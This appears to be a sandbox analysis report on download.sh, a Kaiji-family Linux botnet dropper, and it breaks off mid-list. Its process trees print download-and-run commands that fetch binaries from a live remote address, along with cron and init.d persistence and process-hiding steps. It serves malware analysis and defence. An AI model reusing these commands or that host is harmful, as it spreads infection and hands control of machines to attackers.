Analysis Overview
SHA256
1dc484d51fb96c2097c2eb3695ff55d641e6778dbe8780cbbd0dbdfa688708ca
Threat Level: Known bad
The file download.sh was found to be: Known bad.
Malicious Activity Summary
Kaiji family
Kaiji
Executes dropped EXE
Modifies Watchdog functionality
File and Directory Permissions Modification
Modifies init.d
Enumerates running processes
Write file to user bin folder
Creates/modifies Cron job
Creates/modifies environment variables
Modifies Bash startup script
Changes its process name
System Network Configuration Discovery
Command and Scripting Interpreter: Unix Shell
Enumerates kernel/hardware configuration
Reads runtime system information
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V16
Analysis: static1
Detonation Overview
Reported
2025-04-16 18:46
Signatures
Analysis: behavioral4
Detonation Overview
Submitted
2025-04-16 18:46
Reported
2025-04-16 18:49
Platform
debian9-mipsel-20240418-en
Max time kernel
149s
Max time network
147s
Command Line
Signatures
Kaiji
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Kaiji family
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/linux_mips | /tmp/download.sh | N/A |
| N/A | /tmp/linux_mipsel | /tmp/download.sh | N/A |
| N/A | /tmp/linux_mipsel | /tmp/linux_mipsel | N/A |
| N/A | /etc/32676 | /bin/sh | N/A |
Creates/modifies Cron job
| Description | Indicator | Process | Target |
| File opened for modification | /etc/crontab | /bin/sh | N/A |
Changes its process name
| Description | Indicator | Process | Target |
| Changes the process name, possibly in an attempt to hide itself | ksoftirqd/0 | /tmp/linux_mipsel | N/A |
Command and Scripting Interpreter: Unix Shell
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
| N/A | N/A | /bin/sh | N/A |
Enumerates kernel/hardware configuration
| Description | Indicator | Process | Target |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_mipsel | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_mipsel | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /tmp/linux_mips | N/A |
| N/A | N/A | /bin/rm | N/A |
| N/A | N/A | /bin/rm | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /tmp/linux_mipsel | N/A |
| N/A | N/A | /tmp/linux_mipsel | N/A |
| N/A | N/A | /bin/rm | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/linux_mips | /usr/bin/wget | N/A |
| File opened for modification | /tmp/linux_mipsel | /usr/bin/wget | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/bin/rm
[rm -f linux_mips]
/usr/bin/wget
[wget -t 1 http://154.40.47.248:8000/linux_mips]
/bin/chmod
[chmod +x linux_mips]
/tmp/linux_mips
[./linux_mips]
/bin/rm
[rm -f linux_mips]
/bin/rm
[rm -f linux_mipsel]
/usr/bin/wget
[wget -t 1 http://154.40.47.248:8000/linux_mipsel]
/bin/chmod
[chmod +x linux_mipsel]
/tmp/linux_mipsel
[./linux_mipsel]
/tmp/linux_mipsel
[./linux_mipsel ]
/bin/rm
[/bin/rm /tmp/download.sh]
/bin/sh
[/bin/sh -c /etc/32676&]
/etc/32676
[/etc/32676]
/usr/sbin/service
[service crond start]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/sleep
[sleep 60]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/usr/local/sbin/systemctl
[systemctl start crond.service]
/usr/local/bin/systemctl
[systemctl start crond.service]
/usr/sbin/systemctl
[systemctl start crond.service]
/usr/bin/systemctl
[systemctl start crond.service]
/sbin/systemctl
[systemctl start crond.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sh
[/bin/sh -c echo "*/1 * * * * root /.mod " >> /etc/crontab]
/usr/bin/renice
[renice -20 803]
/bin/mount
[mount -o bind /tmp/ /proc/803]
/usr/sbin/service
[service cron start]
/usr/bin/basename
[basename /usr/sbin/service]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/usr/local/sbin/systemctl
[systemctl start cron.service]
/usr/local/bin/systemctl
[systemctl start cron.service]
/usr/sbin/systemctl
[systemctl start cron.service]
/usr/bin/systemctl
[systemctl start cron.service]
/sbin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sleep
[sleep 60]
/bin/sleep
[sleep 60]
Network
| Country | Destination | Domain | Proto |
| US | 154.40.47.248:8000 | 154.40.47.248 | tcp |
| US | 154.40.47.248:8000 | 154.40.47.248 | tcp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| US | 154.40.47.248:888 | tcp |
Files
/tmp/linux_mips
| MD5 | 5ec2f6c412ccfcc16781a7f3f37fb474 |
| SHA1 | 912cb18493577a0b5c64d994f4b6bc05990ae390 |
| SHA256 | e58dffab271cd20cb6089017017d8e6c5f68c56c2b1877e8a94bbcdadcd4ef4c |
| SHA512 | ce37675e1ccfd0e7fdf2fe155473d94222ceb28cf8a3c797033617a07e7ce632240bdbb338d7c3aec5131a343d172a4d58a05e2558408e42b3eb80cf1767857f |
/tmp/linux_mipsel
| MD5 | 06a141032d508ea7639d82c044851727 |
| SHA1 | e49bf29f0c21f0e5a5d0ccee733ed1626df57d6b |
| SHA256 | d3030e1575b48293f9364353127bd44892ec65120c11d1710eead510373aab55 |
| SHA512 | 8173fc77c9ba84dc1a980c907dec6d2a37e20b3dec5438189fb1990e6c161de5a7ebc033091be2bcd7b80fb1bfe1478eb9f81f6811c9417fd95d3419c9cc2e05 |
/etc/.walk
| MD5 | b03c65123544e7d4af3d3db728b0c4d4 |
| SHA1 | e32b964efbce48c2817f38e97be344c23b4d48e7 |
| SHA256 | b29e13608838bdb20808aa6aaa14458f4a7484c9784575995d3bcac0e669f2ec |
| SHA512 | 8cbd864bc70ff26b2b1d0ebde6341daa6df7c6033ec0d1114a74f3fb891a079722e857434f36967d853a8297854d29bec1f16ad1386f6d5148f0a26f9b330861 |
/etc/.walk
| MD5 | 198407eedf6bfd37808428ab3300a90a |
| SHA1 | 9994b48255824c0d4890ecdb0d2aed2aebb23de3 |
| SHA256 | 4a53e272e3438656c162ca067a2a82f95e90f1c308cad7e3bbb9e8fc054958d1 |
| SHA512 | ffd55d7901a0a9a1416c3999535393179836edc863818422fad3b9781f132d6bee6738221cbe109a87cd5f17d9574fe744fd58bde33bd36bf133a766ef516cb1 |
/etc/32676
| MD5 | 585f408444cbca746945f0cb63f2c3f0 |
| SHA1 | 0e44bae17174f04514e770ca7fc4bec1007e39cd |
| SHA256 | ebb961c647363dfa90f302de378e0e61807b9b792fc86616635a713cca8f4299 |
| SHA512 | 022241dbafad55164701f67ef5b84154e3af97c5dfe77dee7bf8406f2befbd2962bbf4f243432b2f41d6c2376b87fcf551fd6945e03ddb02a5619c2f0f69c596 |
/.mod
| MD5 | f5a3713282e43c200f30342f5ff5e2ea |
| SHA1 | 2b2ce1a207e2b691a074c6f78f71c4785aae426a |
| SHA256 | 6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511 |
| SHA512 | 5bcb8cd360409147a486755f90e0cdd97183af02ce8de5135b7c6a8a010deb9ef12dcd5ee9a2a8fd2e159347f68e72d6b7fd75e943b4fcd928d7a74b97476013 |
/usr/bin/include/find
| MD5 | bb4edcad76062a76284c69f5fe4e50ea |
| SHA1 | 86055be4ce94fa3cffa9924e7b511e95df636606 |
| SHA256 | b7e25e128c130473f33c5135c78f591f35d7c4a7c5e1246c12eaa298db453474 |
| SHA512 | 254acc62d2f83f5a4686adcf3fe6ad4697f392c288c5baa323830bb6f2466c303fd7bc9f237e98b2ca76bc3abb6b4c264e042be8c4291ae5cc21b2189d996521 |
/etc/profile.d/gateway.sh
| MD5 | 1bc5e4de95c269b22485334c81253569 |
| SHA1 | 8c421ecfdb8d090037226adc45f45de8c847f629 |
| SHA256 | 2c6b57cdf813103c6e1db4e970c94378c2eaa362d94f3525afc3afb7249997b0 |
| SHA512 | d46c0af72a1663fa64f87f8ca891e2b5463b6219939125a0f2a89b9c13413733fa5171c5cf04dcaf346d88e468d44f0fc31af26e32b901dad5a4aa0462553416 |
Analysis: behavioral1
Detonation Overview
Submitted
2025-04-16 18:46
Reported
2025-04-16 18:49
Platform
ubuntu1804-amd64-20250410-en
Max time kernel
149s
Max time network
147s
Command Line
Signatures
Kaiji
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Kaiji family
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/linux_amd64 | /tmp/download.sh | N/A |
| N/A | /tmp/linux_amd64 | /tmp/linux_amd64 | N/A |
| N/A | /etc/32676 | /bin/sh | N/A |
Modifies Watchdog functionality
| Description | Indicator | Process | Target |
| File opened for modification | /dev/watchdog | /tmp/linux_amd64 | N/A |
| File opened for modification | /dev/misc/watchdog | /tmp/linux_amd64 | N/A |
Creates/modifies Cron job
| Description | Indicator | Process | Target |
| File opened for modification | /etc/crontab | /bin/sh | N/A |
Creates/modifies environment variables
| Description | Indicator | Process | Target |
| File opened for modification | /etc/profile.d/bash_cfg | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/profile.d/bash_cfg.sh | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/profile.d/gateway.sh | /tmp/linux_amd64 | N/A |
Enumerates running processes
Modifies init.d
| Description | Indicator | Process | Target |
| File opened for modification | /etc/init.d/alsa-utils | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/apparmor | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/bluetooth | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/cups | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/kmod | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/apport | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/cups-browsed | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/plymouth-log | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/selinux-autorelabel | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/uuidd | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/avahi-daemon | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/keyboard-setup.sh | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/rsync | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/saned | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/ssh | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/unattended-upgrades | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/speech-dispatcher | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/networking | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/procps | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/ufw | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/auditd | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/irqbalance | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/plymouth | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/x11-common | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/gdm3 | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/anacron | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/console-setup.sh | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/cron | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/spice-vdagent | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/acpid | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/hwclock.sh | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/udev | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/rsyslog | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/init.d/dbus | /tmp/linux_amd64 | N/A |
Write file to user bin folder
| Description | Indicator | Process | Target |
| File opened for modification | /usr/bin/find | /tmp/linux_amd64 | N/A |
| File opened for modification | /usr/bin/lsof | /tmp/linux_amd64 | N/A |
| File opened for modification | /usr/bin/include/find | /tmp/linux_amd64 | N/A |
| File opened for modification | /usr/bin/include/lsof | /tmp/linux_amd64 | N/A |
Modifies Bash startup script
| Description | Indicator | Process | Target |
| File opened for modification | /etc/profile.d/bash_cfg | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/profile.d/bash_cfg.sh | /tmp/linux_amd64 | N/A |
| File opened for modification | /etc/profile.d/gateway.sh | /tmp/linux_amd64 | N/A |
Changes its process name
| Description | Indicator | Process | Target |
| Changes the process name, possibly in an attempt to hide itself | ksoftirqd/0 | /tmp/linux_amd64 | N/A |
Command and Scripting Interpreter: Unix Shell
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
| N/A | N/A | /bin/sh | N/A |
Enumerates kernel/hardware configuration
| Description | Indicator | Process | Target |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_amd64 | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_amd64 | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/1204/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/723/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/910/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/filesystems | /bin/sed | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/460/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/690/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/316/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/570/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1081/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/1146/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/sched | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1544/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/sys/kernel/osrelease | /bin/systemctl | N/A |
| File opened for reading | /proc/912/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/1346/stat | /tmp/linux_amd64 | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/linux_amd64 | /usr/bin/wget | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/usr/bin/wget
[wget -t 1 http://154.40.47.248:8000/linux_amd64]
/bin/chmod
[chmod +x linux_amd64]
/tmp/linux_amd64
[./linux_amd64]
/tmp/linux_amd64
[./linux_amd64 ]
/bin/rm
[/bin/rm /tmp/download.sh]
/bin/sh
[/bin/sh -c /etc/32676&]
/etc/32676
[/etc/32676]
/usr/sbin/service
[service crond start]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/sleep
[sleep 60]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/systemctl
[systemctl -p Triggers show acpid.socket]
/bin/systemctl
[systemctl -p Triggers show apport-forward.socket]
/bin/systemctl
[systemctl -p Triggers show avahi-daemon.socket]
/bin/systemctl
[systemctl -p Triggers show cups.socket]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show saned.socket]
/bin/systemctl
[systemctl -p Triggers show snapd.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/bin/systemctl
[systemctl -p Triggers show uuidd.socket]
/usr/local/sbin/systemctl
[systemctl start crond.service]
/usr/local/bin/systemctl
[systemctl start crond.service]
/usr/sbin/systemctl
[systemctl start crond.service]
/usr/bin/systemctl
[systemctl start crond.service]
/sbin/systemctl
[systemctl start crond.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sh
[/bin/sh -c echo "*/1 * * * * root /.mod " >> /etc/crontab]
/usr/bin/renice
[renice -20 1536]
/bin/mount
[mount -o bind /tmp/ /proc/1536]
/usr/sbin/service
[service cron start]
/usr/bin/basename
[basename /usr/sbin/service]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/systemctl
[systemctl -p Triggers show acpid.socket]
/bin/systemctl
[systemctl -p Triggers show apport-forward.socket]
/bin/systemctl
[systemctl -p Triggers show avahi-daemon.socket]
/bin/systemctl
[systemctl -p Triggers show cups.socket]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show saned.socket]
/bin/systemctl
[systemctl -p Triggers show snapd.socket]
/bin/systemctl
